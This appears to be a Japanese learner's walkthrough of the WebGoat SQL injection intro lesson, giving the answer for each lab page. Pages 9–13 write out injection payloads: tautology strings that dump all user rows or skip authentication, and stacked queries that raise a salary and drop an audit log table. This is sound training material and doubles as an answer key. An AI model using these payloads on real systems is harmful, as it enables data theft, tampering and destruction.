WebGoat-6: SQL Injection (intro)
SQLとSQLインジェクションの基本を学ぶレッスン。
Page 2
SQLなんて初めて触るよ。まあ構文はたいしたことないな。
SELECT department FROM employees WHERE first_name = 'Bob'が答え。ちなみに"Bob"というぐあいにダブルクォーテーションは使えないらしい。
Page 3
update employees set department = 'Sales' where first_name = 'Tobi'が答え。
てかSQLの命令って大文字小文字の区別しないのか。
Page 4
ALTER TABLE employees ADD phone varchar(20)が答え。
Page 5
GRANT ALTER TABLE TO UnauthorizedUserが答え。
Page 9
' or '1'='1 で SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1' となり、全ユーザデータを引き出せる。
Page 10
Login_Countに0を、User_Idに0 or TRUEを入力で問題クリア。
こうして見ると、WHERE句にor TRUEを挿入されやすいのか。
Page 11
Employee Nameに' or TRUE --を入力。Authentication TANは未入力でよい。
Page 12
'; UPDATE employees SET salary = 99999999 WHERE first_name = 'John'; --が答え。
Page 13
'; DROP TABLE access_log; --が答え。